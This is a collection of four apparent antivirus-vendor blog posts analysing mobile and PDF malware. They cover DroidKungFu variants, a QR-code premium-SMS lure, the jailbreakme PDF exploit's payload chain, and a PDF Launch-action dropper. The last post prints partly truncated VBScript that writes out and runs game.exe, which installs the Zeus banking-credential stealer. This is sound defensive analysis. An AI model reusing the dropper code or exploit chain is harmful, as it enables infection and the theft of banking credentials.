Clarifying Android DroidKungFu variants

by Axelle Apvrille
October 26, 2011 at 8:27 am

Much like Ninja Turtles, DroidKungFu now comes in different flavours (5 so far), discovered by Pr. Xuxian Jiang (and research team) and Lookout. If, like me, you are having difficulties keeping track of those variants, this post is for you :)

The similarities and differences between all 5 variants are depicted below. The various blocks represent each variant, and their intersection shows how many methods they share exactly*.

All variants share the same malicious commands (CMD box). They can download and install new package, start a program (called activity), open a given URL in the browser or delete a package**. To do so, they contact the same 3 remote web servers (URLs box), apart from variant A which uses a single one.

As for differences, mainly, they rely on whether the sample uses exploits or not (yellow and red knife), whether the malicious functionalities are implemented natively or not (brown circle or green box) and whether some payload is encrypted with AES or not (hatched rectangle) and the key it uses. Note that variant E has the particularity of encrypting a few strings to obfuscate its code (/system/bin/chmod 4755, WebView.db.init etc).

 

A few other similarities are not mentioned on the picture, such as the re-use of filenames and signing certificates. For instance, native code is typically in a file named WebView.db.init, and for certificates, variant A, B and C are signed by the same self-signed Google certificate, whereas variant D and E use a custom certificate.

References:

– the Crypto Girl

* Computed using androsim.py from Androguard.

** Actually, variant A features a fifth command, execHomepage, but implements it as “not supported”.

 

Author bio: Axelle Apvrille's initial field of expertise is cryptology, security protocols and OS. She is a senior antivirus analyst and researcher for Fortinet, where she more specifically looks into mobile malware.

QR code and mobile malware: it happened!

by Axelle Apvrille
October 3, 2011 at 10:28 am

 

QR code with a link to Riskware/Jifake!Android

 

A long time ago, more than 2 years ago actually, I blogged about the dangers of QR codes:

virus gangs could use this technology to have the end-user follow malicious links or send messages to premium numbers

and, this is exactly what happened a few days ago, when Denis Maslennikov found a QR code leading to a mobile malware, named Jifake, that sends SMS messages to a premium number.

I told you so, and I couldn’t resist telling you ;)

QR codes are very handy, but they’re an incredible vector for attacks. Mainly, the issues are with the fact they are opaque (human eye can read what they contain) which leads to plenty of possibilities around phishing and social engineering.

But there are few other dark points we should be keep an eye such as QR code reader exploits and input validation. Could a specially crafted QR code crash the reader, lead to privilege escalation or unsecure input in another application of the phone (browser, SMS…)? Keep in mind that QR codes are not limited to URLs, they can also contain up to 2953 bytes of binary data. It is even possible to encrypt part of the contents of a QR code (see here).

If you feel like reading a research paper on this topic, have a look at this one: QR Code Security.

– the Crypto Girl

Author bio: Axelle Apvrille's initial field of expertise is cryptology, security protocols and OS. She is a senior antivirus analyst and researcher for Fortinet, where she more specifically looks into mobile malware.

iPhone 4 / iPad: The Keys Out Of Prison

by Axelle Apvrille
August 5, 2010 at 12:46 am

Unless you’re on a trek in the Himalayas, by now you’ve probably heard one way or another that the infamous “Jailbreakme” website is back to free iPhones (including iPhones 4 running iOS 4.0.1) and iPads : it’s just everywhere on the web, even with videos and tutorials.

However, fewer resources address the technical aspect of jailbreaking. You might have found out that the online jailbreaking tool is resorting to a drive-by-script exploiting a 0-day vulnerability. We’ll try and provide a few other technical findings below.

First, let’s connect to the site with a proper user-agent (i.e. iPhone’s Safari). It gives us a nice Javascript, whose interesting part is:

function get_page(){return model==null?null:("/_/"+model+"_"+firmware+".pdf"}

That is to say, the user is automatically redirected to a malicious pdf based on the model of the device and the firmware version.

As directory listing is enabled, we were able to list all the files in the corresponding repository:

pdflist

The file “iPhone3,1_4.0.pdf”, for instance, features an encoded PDF Type1C font (Compressed Font Format) stream that looked suspicious enough for us to decode it (thanks to the excellent pdf-parser tool from Didier Stevens). In the now clear-text stream, we could identify at least one manifest (offset 0xbcd – see below) and an iOS executable (offset 0×1109, we will get back to it later on).

xml-manifest

Note the large values for IOSurfaceBytesPerRow, IOSurfacePixelFormat, IOSurfaceHeight and IOSurfaceWidth in the manifest above.

The corresponding system API framework is basically not documented, but we can easily guess there is an allocation issue in an IOSurface object. As IOSurface objects run in kernel space, the process can bypass usual security restrictions.

It is highly likely this 0-day exploit can be used for other means than jailbreaking an iPhone/ iPod/ iPad. Consequently, Will Strafach wrote an iPhone application that detects suspicious PDFs and warns end-users when they are at risk.

As for the binary in the decoded PDF stream, essentially, it pilots the jailbreaking.
The executable starts by checking it can access /bin/bash or not via a BrowserController object (see figure below): if bash is accessible, it concludes the device is already jailbroken and recommends not to jailbreak it again. Otherwise, it considers the device is not jailbroken:

BrowserAccess-cut

If the device is not jailbroken, the executable then downloads hxxp://jailbreakme.modmyi.com/wad.bin into a buffer of type NSMutableData, named wad (itself member of a class the author called “Dude”).
Before going any further, the executable checks that the downloaded version of the file wad.bin starts with the four bytes 0×42424242 (‘BBBB’), then followed by its length.

The wad.bin file is exactly 3909273-byte long, i.e 0x3BA699. This length is stored in bytes 4, 5, 6 and 7:

$ hexdump -C wad.bin | head
00000000  42 42 42 42 99 a6 3b 00  15 b5 01 00 78 9c ec 7d  |BBBB..;.....x..}|
00000010  0d 9c 54 c5 95 ef bd dd  3d 43 33 34 70 81 46 87  |..T.....=C34p.F.|

This pattern may be used in the frame of counter-measures (eg: Snort signatures, etc…), to prevent jailbreaking from one’s network, for some reasons.
Additionally, it is worth noting a cookie keeps information regarding the jailbreaking attempts (date and time of access to jailbreakme.com, PDF file downloaded etc).

At this point, parts of the buffered wad.bin are dumped in inflated format on the device in /tmp/install.dylib. The dynamic library is then opened, and the do_install symbol is called. This is likely where the actual jailbreaking occurs.

Afterwards, the remaining XZ compressed data contained in wad.bin is then uncompressed, which can be reproduced manually (credits to Gecko_UK):

$ dd if=./wad.bin skip=111905 of=./wad.xz bs=1 count=3797368
$ 7zr x wad.xz
$ mv wad wad.tar
$ tar xvf wad.tar
...2009-04-27 16:34 Applications/
...2009-04-27 16:34 Applications/Cydia.app/
...2010-07-30 10:55 Applications/Cydia.app/commercial.png
...2010-08-01 20:52 Applications/Cydia.app/Modes/
...2009-08-09 11:55 Applications/Cydia.app/Modes/REMOVE.png
...2009-08-09 11:55 Applications/Cydia.app/Modes/INSTALL.png
...2010-08-01 20:52 Applications/Cydia.app/Modes/NEW_INSTALL.png -> INSTALL.png
...

And the jailbroken environment (Cydia applications, etc…) is installed on the device.

– the Crypto Girl (Axelle Apvrille) and the Vulnerability Guy (David Maciejak)

Author bio: Axelle Apvrille's initial field of expertise is cryptology, security protocols and OS. She is a senior antivirus analyst and researcher for Fortinet, where she more specifically looks into mobile malware.

0day or not today: exploit in the wild

by Bing Liu
May 4, 2010 at 2:17 pm

Although it is not a new idea to run an executable from within a PDF, the researcher Didier Stevens present a trick technique to make it more practical, “in the real world”.

In this post I will dissect a PDF document using this trick (MD5: 1dcd4a3f5d05433fcebf88d9138a1966), indeed found in the wild. As one of vendors affected, Adobe was investigating this issue and give a temporary solution. But no patch is available yet. In fact there maybe no patch at all… and although CVE number CVE-2010-1240 is assigned for this issue, Some people think it is not a vulnerability, for it requires user interaction.

0day or not, and vulnerability or not, it *is* a threat either was – and Fortinet provided protection for the customer: “PDF/Pidief.BV!exploit” for AV and “PDF.With.Launch.Action” for IPS, each tackling the threat from a different angle for better resistance to threat variation. Since no patch is available from vendors like Adobe yet, it is also important for you to be aware of the form of this trick found in the wild.

The malicious PDF document source code looks like the following:
PDF source

Following is what you will see when open this PDF with latest Adobe Reader (9.3.2).
PDF look

When you click the button “Open”, the following is executed:

/P (/c echo Set fso=CreateObject(“Scripting.FileSystemObject”) > script.vbs [...Truncated...] && script.vbs && batscript.vbs

This effectively drops, populates and executes a VB script called script.vbs, which final contents are the following:

Set fso=CreateObject(“Scripting.FileSystemObject”)
Set f=fso.OpenTextFile(“doc.pdf”, 1, True)
pf=f.ReadAll
s=InStr(pf,”‘SS”)
e=InStr(pf,”‘EE”)
s=Mid(pf,s,e-s)
Set z=fso.OpenTextFile(“batscript.vbs”, 2, True)
s = Replace(s,”%”,”")
z.Write(s)

Basically, it merely extracts an embedded “batscript.vbs” in the PDF document and drops it in the current directory. This “batscript.vbs” contains the following:

Dim b
Function c(d)
c=chr(d)
End Function
b=Array(c(077),c(090),c(144),[Truncated]
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set f = fso.OpenTextFile(“game.exe”, 2, True)
For i = 0 To 35328
f.write(b(i))
Next
f.close()
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “cmd.exe /c game.exe”
WScript.Sleep 3000
Set f = FSO.GetFile(“game.exe”)
f.Delete
Set f = FSO.GetFile(“batscript.vbs”)
f.Delete
Set f = FSO.GetFile(“script.vbs”)
f.Delete

This essentially drops a binary file called game.exe from an array of binary codes and runs it. In turn, game.exe downloads and installs an instance of the infamous Zeus Bot, whose main purpose is to steal (including using live interception) banking credentials and information.

All that from a simple user click. Consequently, if you happen to run into such a dialog when opening a PDF document, consider that there might be something rotten in the Kingdom of Denmark (or at least, in that document); and do not be too prompt to click “open”.

Fortinet detect game.exe as W32/Agent.DJBN!tr and the Zeus bot instance as W32/Zbot.AISS!tr. A detailed analysis of the Zeus Botnet is avalaible on the Fortiguard Center.

Guillaume Lovet contributed to this post.

Author bio: Bing Liu works as a senior researcher/IPS manager for Fortinet. 10+ years work experience in the field of Information Security/CISSP.